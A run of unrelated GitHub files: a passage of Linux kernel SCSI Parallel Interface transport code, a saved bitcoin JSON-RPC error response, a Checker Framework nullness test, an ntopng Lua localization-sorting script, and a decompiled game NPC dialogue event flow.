/* FIXME: should probably offline the device here? */ return; } if (!spi_support_wide(starget)) { spi_max_width(starget) = 0; max_width = 0; } /* test width */ if (i->f->set_width && max_width) { i->f->set_width(starget, 1); if (spi_dv_device_compare_inquiry(sdev, buffer, buffer + len, DV_LOOPS) != SPI_COMPARE_SUCCESS) { starget_printk(KERN_ERR, starget, "Wide Transfers Fail\n"); i->f->set_width(starget, 0); /* Make sure we don't force wide back on by asking * for a transfer period that requires it */ max_width = 0; if (min_period < 10) min_period = 10; } } if (!i->f->set_period) return; /* device can't handle synchronous */ if (!spi_support_sync(starget) && !spi_support_dt(starget)) return; /* len == -1 is the signal that we need to ascertain the * presence of an echo buffer before trying to use it. len == * 0 means we don't have an echo buffer */ len = -1; retry: /* now set up to the maximum */ DV_SET(offset, spi_max_offset(starget)); DV_SET(period, min_period); /* try QAS requests; this should be harmless to set if the * target supports it */ if (spi_support_qas(starget) && spi_max_qas(starget)) { DV_SET(qas, 1); } else { DV_SET(qas, 0); } if (spi_support_ius(starget) && spi_max_iu(starget) && min_period < 9) { /* This u320 (or u640). Set IU transfers */ DV_SET(iu, 1); /* Then set the optional parameters */ DV_SET(rd_strm, 1); DV_SET(wr_flow, 1); DV_SET(rti, 1); if (min_period == 8) DV_SET(pcomp_en, 1); } else { DV_SET(iu, 0); } /* now that we've done all this, actually check the bus * signal type (if known). Some devices are stupid on * a SE bus and still claim they can try LVD only settings */ if (i->f->get_signalling) i->f->get_signalling(shost); if (spi_signalling(shost) == SPI_SIGNAL_SE || spi_signalling(shost) == SPI_SIGNAL_HVD || !spi_support_dt(starget)) { DV_SET(dt, 0); } else { DV_SET(dt, 1); } /* set width last because it will pull all the other * parameters down to required values */ DV_SET(width, max_width); /* Do the read only INQUIRY tests */ spi_dv_retrain(sdev, buffer, buffer + sdev->inquiry_len, spi_dv_device_compare_inquiry); /* See if we actually managed to negotiate and sustain DT */ if (i->f->get_dt) i->f->get_dt(starget); /* see if the device has an echo buffer. If it does we can do * the SPI pattern write tests. Because of some broken * devices, we *only* try this on a device that has actually * negotiated DT */ if (len == -1 && spi_dt(starget)) len = spi_dv_device_get_echo_buffer(sdev, buffer); if (len <= 0) { starget_printk(KERN_INFO, starget, "Domain Validation skipping write tests\n"); return; } if (len > SPI_MAX_ECHO_BUFFER_SIZE) { starget_printk(KERN_WARNING, starget, "Echo buffer size %d is too big, trimming to %d\n", len, SPI_MAX_ECHO_BUFFER_SIZE); len = SPI_MAX_ECHO_BUFFER_SIZE; } if (spi_dv_retrain(sdev, buffer, buffer + len, spi_dv_device_echo_buffer) == SPI_COMPARE_SKIP_TEST) { /* OK, the stupid drive can't do a write echo buffer * test after all, fall back to the read tests */ len = 0; goto retry; } } /** spi_dv_device - Do Domain Validation on the device * @sdev: scsi device to validate * * Performs the domain validation on the given device in the * current execution thread. Since DV operations may sleep, * the current thread must have user context. Also no SCSI * related locks that would deadlock I/O issued by the DV may * be held. */ void spi_dv_device(struct scsi_device *sdev) { struct scsi_target *starget = sdev->sdev_target; u8 *buffer; const int len = SPI_MAX_ECHO_BUFFER_SIZE*2; /* * Because this function and the power management code both call * scsi_device_quiesce(), it is not safe to perform domain validation * while suspend or resume is in progress. Hence the * lock/unlock_system_sleep() calls. */ lock_system_sleep(); if (unlikely(spi_dv_in_progress(starget))) goto unlock; if (unlikely(scsi_device_get(sdev))) goto unlock; spi_dv_in_progress(starget) = 1; buffer = kzalloc(len, GFP_KERNEL); if (unlikely(!buffer)) goto out_put; /* We need to verify that the actual device will quiesce; the * later target quiesce is just a nice to have */ if (unlikely(scsi_device_quiesce(sdev))) goto out_free; scsi_target_quiesce(starget); spi_dv_pending(starget) = 1; mutex_lock(&spi_dv_mutex(starget)); starget_printk(KERN_INFO, starget, "Beginning Domain Validation\n"); spi_dv_device_internal(sdev, buffer); starget_printk(KERN_INFO, starget, "Ending Domain Validation\n"); mutex_unlock(&spi_dv_mutex(starget)); spi_dv_pending(starget) = 0; scsi_target_resume(starget); spi_initial_dv(starget) = 1; out_free: kfree(buffer); out_put: spi_dv_in_progress(starget) = 0; scsi_device_put(sdev); unlock: unlock_system_sleep(); } EXPORT_SYMBOL(spi_dv_device); struct work_queue_wrapper { struct work_struct work; struct scsi_device *sdev; }; static void spi_dv_device_work_wrapper(struct work_struct *work) { struct work_queue_wrapper *wqw = container_of(work, struct work_queue_wrapper, work); struct scsi_device *sdev = wqw->sdev; kfree(wqw); spi_dv_device(sdev); spi_dv_pending(sdev->sdev_target) = 0; scsi_device_put(sdev); } /** * spi_schedule_dv_device - schedule domain validation to occur on the device * @sdev: The device to validate * * Identical to spi_dv_device() above, except that the DV will be * scheduled to occur in a workqueue later. All memory allocations * are atomic, so may be called from any context including those holding * SCSI locks. */ void spi_schedule_dv_device(struct scsi_device *sdev) { struct work_queue_wrapper *wqw = kmalloc(sizeof(struct work_queue_wrapper), GFP_ATOMIC); if (unlikely(!wqw)) return; if (unlikely(spi_dv_pending(sdev->sdev_target))) { kfree(wqw); return; } /* Set pending early (dv_device doesn't check it, only sets it) */ spi_dv_pending(sdev->sdev_target) = 1; if (unlikely(scsi_device_get(sdev))) { kfree(wqw); spi_dv_pending(sdev->sdev_target) = 0; return; } INIT_WORK(&wqw->work, spi_dv_device_work_wrapper); wqw->sdev = sdev; schedule_work(&wqw->work); } EXPORT_SYMBOL(spi_schedule_dv_device); /** * spi_display_xfer_agreement - Print the current target transfer agreement * @starget: The target for which to display the agreement * * Each SPI port is required to maintain a transfer agreement for each * other port on the bus. This function prints a one-line summary of * the current agreement; more detailed information is available in sysfs. */ void spi_display_xfer_agreement(struct scsi_target *starget) { struct spi_transport_attrs *tp; tp = (struct spi_transport_attrs *)&starget->starget_data; if (tp->offset > 0 && tp->period > 0) { unsigned int picosec, kb100; char *scsi = "FAST-?"; char tmp[8]; if (tp->period <= SPI_STATIC_PPR) { picosec = ppr_to_ps[tp->period]; switch (tp->period) { case 7: scsi = "FAST-320"; break; case 8: scsi = "FAST-160"; break; case 9: scsi = "FAST-80"; break; case 10: case 11: scsi = "FAST-40"; break; case 12: scsi = "FAST-20"; break; } } else { picosec = tp->period * 4000; if (tp->period < 25) scsi = "FAST-20"; else if (tp->period < 50) scsi = "FAST-10"; else scsi = "FAST-5"; } kb100 = (10000000 + picosec / 2) / picosec; if (tp->width) kb100 *= 2; sprint_frac(tmp, picosec, 1000); dev_info(&starget->dev, "%s %sSCSI %d.%d MB/s %s%s%s%s%s%s%s%s (%s ns, offset %d)\n", scsi, tp->width ? "WIDE " : "", kb100/10, kb100 % 10, tp->dt ? "DT" : "ST", tp->iu ? " IU" : "", tp->qas ? " QAS" : "", tp->rd_strm ? " RDSTRM" : "", tp->rti ? " RTI" : "", tp->wr_flow ? " WRFLOW" : "", tp->pcomp_en ? " PCOMP" : "", tp->hold_mcs ? " HMCS" : "", tmp, tp->offset); } else { dev_info(&starget->dev, "%sasynchronous\n", tp->width ? "wide " : ""); } } EXPORT_SYMBOL(spi_display_xfer_agreement); int spi_populate_width_msg(unsigned char *msg, int width) { msg[0] = EXTENDED_MESSAGE; msg[1] = 2; msg[2] = EXTENDED_WDTR; msg[3] = width; return 4; } EXPORT_SYMBOL_GPL(spi_populate_width_msg); int spi_populate_sync_msg(unsigned char *msg, int period, int offset) { msg[0] = EXTENDED_MESSAGE; msg[1] = 3; msg[2] = EXTENDED_SDTR; msg[3] = period; msg[4] = offset; return 5; } EXPORT_SYMBOL_GPL(spi_populate_sync_msg); int spi_populate_ppr_msg(unsigned char *msg, int period, int offset, int width, int options) { msg[0] = EXTENDED_MESSAGE; msg[1] = 6; msg[2] = EXTENDED_PPR; msg[3] = period; msg[4] = 0; msg[5] = offset; msg[6] = width; msg[7] = options; return 8; } EXPORT_SYMBOL_GPL(spi_populate_ppr_msg); /** * spi_populate_tag_msg - place a tag message in a buffer * @msg: pointer to the area to place the tag * @cmd: pointer to the scsi command for the tag * * Notes: * designed to create the correct type of tag message for the * particular request. Returns the size of the tag message. * May return 0 if TCQ is disabled for this device. **/ int spi_populate_tag_msg(unsigned char *msg, struct scsi_cmnd *cmd) { if (cmd->flags & SCMD_TAGGED) { *msg++ = SIMPLE_QUEUE_TAG; *msg++ = cmd->request->tag; return 2; } return 0; } EXPORT_SYMBOL_GPL(spi_populate_tag_msg); #ifdef CONFIG_SCSI_CONSTANTS static const char * const one_byte_msgs[] = { /* 0x00 */ "Task Complete", NULL /* Extended Message */, "Save Pointers", /* 0x03 */ "Restore Pointers", "Disconnect", "Initiator Error", /* 0x06 */ "Abort Task Set", "Message Reject", "Nop", "Message Parity Error", /* 0x0a */ "Linked Command Complete", "Linked Command Complete w/flag", /* 0x0c */ "Target Reset", "Abort Task", "Clear Task Set", /* 0x0f */ "Initiate Recovery", "Release Recovery", /* 0x11 */ "Terminate Process", "Continue Task", "Target Transfer Disable", /* 0x14 */ NULL, NULL, "Clear ACA", "LUN Reset" }; static const char * const two_byte_msgs[] = { /* 0x20 */ "Simple Queue Tag", "Head of Queue Tag", "Ordered Queue Tag", /* 0x23 */ "Ignore Wide Residue", "ACA" }; static const char * const extended_msgs[] = { /* 0x00 */ "Modify Data Pointer", "Synchronous Data Transfer Request", /* 0x02 */ "SCSI-I Extended Identify", "Wide Data Transfer Request", /* 0x04 */ "Parallel Protocol Request", "Modify Bidirectional Data Pointer" }; static void print_nego(const unsigned char *msg, int per, int off, int width) { if (per) { char buf[20]; period_to_str(buf, msg[per]); printk("period = %s ns ", buf); } if (off) printk("offset = %d ", msg[off]); if (width) printk("width = %d ", 8 << msg[width]); } static void print_ptr(const unsigned char *msg, int msb, const char *desc) { int ptr = (msg[msb] << 24) | (msg[msb+1] << 16) | (msg[msb+2] << 8) | msg[msb+3]; printk("%s = %d ", desc, ptr); } int spi_print_msg(const unsigned char *msg) { int len = 1, i; if (msg[0] == EXTENDED_MESSAGE) { len = 2 + msg[1]; if (len == 2) len += 256; if (msg[2] < ARRAY_SIZE(extended_msgs)) printk ("%s ", extended_msgs[msg[2]]); else printk ("Extended Message, reserved code (0x%02x) ", (int) msg[2]); switch (msg[2]) { case EXTENDED_MODIFY_DATA_POINTER: print_ptr(msg, 3, "pointer"); break; case EXTENDED_SDTR: print_nego(msg, 3, 4, 0); break; case EXTENDED_WDTR: print_nego(msg, 0, 0, 3); break; case EXTENDED_PPR: print_nego(msg, 3, 5, 6); break; case EXTENDED_MODIFY_BIDI_DATA_PTR: print_ptr(msg, 3, "out"); print_ptr(msg, 7, "in"); break; default: for (i = 2; i < len; ++i) printk("%02x ", msg[i]); } /* Identify */ } else if (msg[0] & 0x80) { printk("Identify disconnect %sallowed %s %d ", (msg[0] & 0x40) ? "" : "not ", (msg[0] & 0x20) ? "target routine" : "lun", msg[0] & 0x7); /* Normal One byte */ } else if (msg[0] < 0x1f) { if (msg[0] < ARRAY_SIZE(one_byte_msgs) && one_byte_msgs[msg[0]]) printk("%s ", one_byte_msgs[msg[0]]); else printk("reserved (%02x) ", msg[0]); } else if (msg[0] == 0x55) { printk("QAS Request "); /* Two byte */ } else if (msg[0] <= 0x2f) { if ((msg[0] - 0x20) < ARRAY_SIZE(two_byte_msgs)) printk("%s %02x ", two_byte_msgs[msg[0] - 0x20], msg[1]); else printk("reserved two byte (%02x %02x) ", msg[0], msg[1]); len = 2; } else printk("reserved "); return len; } EXPORT_SYMBOL(spi_print_msg); #else /* ifndef CONFIG_SCSI_CONSTANTS */ int spi_print_msg(const unsigned char *msg) { int len = 1, i; if (msg[0] == EXTENDED_MESSAGE) { len = 2 + msg[1]; if (len == 2) len += 256; for (i = 0; i < len; ++i) printk("%02x ", msg[i]); /* Identify */ } else if (msg[0] & 0x80) { printk("%02x ", msg[0]); /* Normal One byte */ } else if ((msg[0] < 0x1f) || (msg[0] == 0x55)) { printk("%02x ", msg[0]); /* Two byte */ } else if (msg[0] <= 0x2f) { printk("%02x %02x", msg[0], msg[1]); len = 2; } else printk("%02x ", msg[0]); return len; } EXPORT_SYMBOL(spi_print_msg); #endif /* ! CONFIG_SCSI_CONSTANTS */ static int spi_device_match(struct attribute_container *cont, struct device *dev) { struct scsi_device *sdev; struct Scsi_Host *shost; struct spi_internal *i; if (!scsi_is_sdev_device(dev)) return 0; sdev = to_scsi_device(dev); shost = sdev->host; if (!shost->transportt || shost->transportt->host_attrs.ac.class != &spi_host_class.class) return 0; /* Note: this class has no device attributes, so it has * no per-HBA allocation and thus we don't need to distinguish * the attribute containers for the device */ i = to_spi_internal(shost->transportt); if (i->f->deny_binding && i->f->deny_binding(sdev->sdev_target)) return 0; return 1; } static int spi_target_match(struct attribute_container *cont, struct device *dev) { struct Scsi_Host *shost; struct scsi_target *starget; struct spi_internal *i; if (!scsi_is_target_device(dev)) return 0; shost = dev_to_shost(dev->parent); if (!shost->transportt || shost->transportt->host_attrs.ac.class != &spi_host_class.class) return 0; i = to_spi_internal(shost->transportt); starget = to_scsi_target(dev); if (i->f->deny_binding && i->f->deny_binding(starget)) return 0; return &i->t.target_attrs.ac == cont; } static DECLARE_TRANSPORT_CLASS(spi_transport_class, "spi_transport", spi_setup_transport_attrs, NULL, spi_target_configure); static DECLARE_ANON_TRANSPORT_CLASS(spi_device_class, spi_device_match, spi_device_configure); static struct attribute *host_attributes[] = { &dev_attr_signalling.attr, &dev_attr_host_width.attr, &dev_attr_hba_id.attr, NULL }; static struct attribute_group host_attribute_group = { .attrs = host_attributes, }; static int spi_host_configure(struct transport_container *tc, struct device *dev, struct device *cdev) { struct kobject *kobj = &cdev->kobj; struct Scsi_Host *shost = transport_class_to_shost(cdev); struct spi_internal *si = to_spi_internal(shost->transportt); struct attribute *attr = &dev_attr_signalling.attr; int rc = 0; if (si->f->set_signalling) rc = sysfs_chmod_file(kobj, attr, attr->mode | S_IWUSR); return rc; } /* returns true if we should be showing the variable. Also * overloads the return by setting 1<<1 if the attribute should * be writeable */ #define TARGET_ATTRIBUTE_HELPER(name) \ (si->f->show_##name ? S_IRUGO : 0) | \ (si->f->set_##name ? S_IWUSR : 0) static umode_t target_attribute_is_visible(struct kobject *kobj, struct attribute *attr, int i) { struct device *cdev = container_of(kobj, struct device, kobj); struct scsi_target *starget = transport_class_to_starget(cdev); struct Scsi_Host *shost = transport_class_to_shost(cdev); struct spi_internal *si = to_spi_internal(shost->transportt); if (attr == &dev_attr_period.attr && spi_support_sync(starget)) return TARGET_ATTRIBUTE_HELPER(period); else if (attr == &dev_attr_min_period.attr && spi_support_sync(starget)) return TARGET_ATTRIBUTE_HELPER(period); else if (attr == &dev_attr_offset.attr && spi_support_sync(starget)) return TARGET_ATTRIBUTE_HELPER(offset); else if (attr == &dev_attr_max_offset.attr && spi_support_sync(starget)) return TARGET_ATTRIBUTE_HELPER(offset); else if (attr == &dev_attr_width.attr && spi_support_wide(starget)) return TARGET_ATTRIBUTE_HELPER(width); else if (attr == &dev_attr_max_width.attr && spi_support_wide(starget)) return TARGET_ATTRIBUTE_HELPER(width); else if (attr == &dev_attr_iu.attr && spi_support_ius(starget)) return TARGET_ATTRIBUTE_HELPER(iu); else if (attr == &dev_attr_max_iu.attr && spi_support_ius(starget)) return TARGET_ATTRIBUTE_HELPER(iu); else if (attr == &dev_attr_dt.attr && spi_support_dt(starget)) return TARGET_ATTRIBUTE_HELPER(dt); else if (attr == &dev_attr_qas.attr && spi_support_qas(starget)) return TARGET_ATTRIBUTE_HELPER(qas); else if (attr == &dev_attr_max_qas.attr && spi_support_qas(starget)) return TARGET_ATTRIBUTE_HELPER(qas); else if (attr == &dev_attr_wr_flow.attr && spi_support_ius(starget)) return TARGET_ATTRIBUTE_HELPER(wr_flow); else if (attr == &dev_attr_rd_strm.attr && spi_support_ius(starget)) return TARGET_ATTRIBUTE_HELPER(rd_strm); else if (attr == &dev_attr_rti.attr && spi_support_ius(starget)) return TARGET_ATTRIBUTE_HELPER(rti); else if (attr == &dev_attr_pcomp_en.attr && spi_support_ius(starget)) return TARGET_ATTRIBUTE_HELPER(pcomp_en); else if (attr == &dev_attr_hold_mcs.attr && spi_support_ius(starget)) return TARGET_ATTRIBUTE_HELPER(hold_mcs); else if (attr == &dev_attr_revalidate.attr) return S_IWUSR; return 0; } static struct attribute *target_attributes[] = { &dev_attr_period.attr, &dev_attr_min_period.attr, &dev_attr_offset.attr, &dev_attr_max_offset.attr, &dev_attr_width.attr, &dev_attr_max_width.attr, &dev_attr_iu.attr, &dev_attr_max_iu.attr, &dev_attr_dt.attr, &dev_attr_qas.attr, &dev_attr_max_qas.attr, &dev_attr_wr_flow.attr, &dev_attr_rd_strm.attr, &dev_attr_rti.attr, &dev_attr_pcomp_en.attr, &dev_attr_hold_mcs.attr, &dev_attr_revalidate.attr, NULL }; static struct attribute_group target_attribute_group = { .attrs = target_attributes, .is_visible = target_attribute_is_visible, }; static int spi_target_configure(struct transport_container *tc, struct device *dev, struct device *cdev) { struct kobject *kobj = &cdev->kobj; /* force an update based on parameters read from the device */ sysfs_update_group(kobj, &target_attribute_group); return 0; } struct scsi_transport_template * spi_attach_transport(struct spi_function_template *ft) { struct spi_internal *i = kzalloc(sizeof(struct spi_internal), GFP_KERNEL); if (unlikely(!i)) return NULL; i->t.target_attrs.ac.class = &spi_transport_class.class; i->t.target_attrs.ac.grp = &target_attribute_group; i->t.target_attrs.ac.match = spi_target_match; transport_container_register(&i->t.target_attrs); i->t.target_size = sizeof(struct spi_transport_attrs); i->t.host_attrs.ac.class = &spi_host_class.class; i->t.host_attrs.ac.grp = &host_attribute_group; i->t.host_attrs.ac.match = spi_host_match; transport_container_register(&i->t.host_attrs); i->t.host_size = sizeof(struct spi_host_attrs); i->f = ft; return &i->t; } EXPORT_SYMBOL(spi_attach_transport); void spi_release_transport(struct scsi_transport_template *t) { struct spi_internal *i = to_spi_internal(t); transport_container_unregister(&i->t.target_attrs); transport_container_unregister(&i->t.host_attrs); kfree(i); } EXPORT_SYMBOL(spi_release_transport); static __init int spi_transport_init(void) { int error = scsi_dev_info_add_list(SCSI_DEVINFO_SPI, "SCSI Parallel Transport Class"); if (!error) { int i; for (i = 0; spi_static_device_list[i].vendor; i++) scsi_dev_info_list_add_keyed(1, /* compatible */ spi_static_device_list[i].vendor, spi_static_device_list[i].model, NULL, spi_static_device_list[i].flags, SCSI_DEVINFO_SPI); } error = transport_class_register(&spi_transport_class); if (error) return error; error = anon_transport_class_register(&spi_device_class); return transport_class_register(&spi_host_class); } static void __exit spi_transport_exit(void) { transport_class_unregister(&spi_transport_class); anon_transport_class_unregister(&spi_device_class); transport_class_unregister(&spi_host_class); scsi_dev_info_remove_list(SCSI_DEVINFO_SPI); } MODULE_AUTHOR("Martin Hicks"); MODULE_DESCRIPTION("SPI Transport Attributes"); MODULE_LICENSE("GPL"); module_init(spi_transport_init); module_exit(spi_transport_exit);
{ "pile_set_name": "Github" }
HTTP/1.1 500 Internal Server Error Date: Sun, 26 Aug 2012 23:58:59 +0000 Connection: close Content-Length: 80 Content-Type: application/json Server: bitcoin-json-rpc/v0.6.3-beta {"result":null,"error":{"code":-3,"message":"Invalid address"},"id":"curltest"}
{ "pile_set_name": "Github" }
// This is a test case for issue #105: // https://github.com/typetools/checker-framework/issues/105 import org.checkerframework.checker.nullness.qual.*; // :: error: (initialization.static.fields.uninitialized) public class Uninit12 { static Object f; public Uninit12() { f.toString(); } static Object g = new Object(); static Object h; static { h = new Object(); } } class Uninit12_OK { static Object g = new Object(); static Object h; static { h = new Object(); } }
{ "pile_set_name": "Github" }
-- A script to sort a localization file local community_base_path = "scripts/locales" local pro_base_path = "pro/scripts/locales" if (#arg ~= 1) and (#arg ~= 2) then print([[Usage: lua ]] .. arg[0] .. [[ localization_code [merge_strings] The merge_strings parameter can be used to load additional strings to merge into the localization. The strings should be a list similar to this: lang.manage_users.add_new_user = "Add New User" lang.manage_users.expires_after = "Expires after" Example: ]] .. arg[0] .. [[ en"]]) os.exit(1) end local lang_code = arg[1] local merge_strings_file = arg[2] local root_path local pkgpath_path local base_path local function file_exists(name) local f=io.open(name,"r") if f~=nil then io.close(f) return true else return false end end if file_exists("persistence.lua") then -- localization folder root_path = "../../.." pkgpath_path = "." elseif file_exists("src/Ntop.cpp") then -- ntopng root root_path = "." pkgpath_path = "tools/localization" else -- pro root root_path = ".." pkgpath_path = "../tools/localization" end package.path = pkgpath_path .. "/?.lua;" .. package.path if file_exists(root_path.."/"..community_base_path.."/"..lang_code..".lua") then base_path = root_path.."/"..community_base_path else base_path = root_path.."/"..pro_base_path end package.path = base_path .. "/?.lua;" .. package.path local persistance = require("persistence") local lang_file = base_path .. "/" .. lang_code .. ".lua" local lang = require(lang_code) if merge_strings_file then local f = assert(io.open(merge_strings_file, "r")) local lines = f:read("*all") f:close() for line in lines:gmatch("[^\r\n]+") do line = line:gsub("\\\"", "\"") local k, v = line:gmatch("%s*([^%s]+)%s*=%s*\"(.+)\"$")() -- merge if (k ~= nil) and (v ~= nil) then print(k .. " = " .. v) local t = lang local prev_t = t local prev_k = nil for part in k:gmatch("[^%.]+") do part = part:gmatch("%[\"([^\"]+)\"%]")() or part if not ((t == lang) and (part == "lang")) then if t[part] == nil then t[part] = {} end prev_t = t t = t[part] prev_k = part end end if prev_k ~= nil then prev_t[prev_k] = v end end end end persistence.store(lang_file, lang)
{ "pile_set_name": "Github" }
-------- EventFlow: NPC_oasis004 -------- Actor: EventSystemActor entrypoint: None() actions: [] queries: ['GeneralChoice2', 'GeneralChoice3', 'CheckFlag', 'RandomChoice2'] params: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0} Actor: NPC_oasis004 entrypoint: None() actions: ['Demo_Talk'] queries: ['CheckActorAction13', 'IsOnInstEventFlag'] params: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0} void Talk() { call InitTalk.InitTalk({'Arg_Turn': 0, 'Arg_Greeting': 'FollowAISchedule'}) switch NPC_oasis004.CheckActorAction13() { case [0, 1]: if !NPC_oasis004.IsOnInstEventFlag() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_006', 'IsCloseMessageDialog': True, 'ASName': ''}) } NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_022'}) switch EventSystemActor.GeneralChoice3() { case 0: NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_001'}) if !EventSystemActor.GeneralChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_002'}) } else { Event14: NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_005'}) } case 1: NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_004'}) if !EventSystemActor.GeneralChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_003'}) } else { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_019'}) } case 2: goto Event14 } case [2, 3]: if !NPC_oasis004.IsOnInstEventFlag() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'IsCloseMessageDialog': True, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_018'}) } if EventSystemActor.CheckFlag({'FlagName': 'NPC_oasis004_MeetingTerry'}) { if !EventSystemActor.RandomChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_010'}) if !EventSystemActor.GeneralChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_014'}) } else { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_017'}) } } else { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_013'}) if !EventSystemActor.GeneralChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_015'}) } else { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_016'}) } } } else { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'ASName': '', 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_008'}) if !EventSystemActor.GeneralChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_001'}) if !EventSystemActor.GeneralChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_002'}) } else { Event24: NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_005'}) } } else { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_012'}) if !EventSystemActor.GeneralChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_009'}) } else { goto Event24 } } } case [4, 5, 10]: NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_020'}) if !EventSystemActor.GeneralChoice2() { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_002'}) } else { NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_021'}) } case 11: NPC_oasis004.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/NPC_oasis004:Talk_101'}) } }
{ "pile_set_name": "Github" }
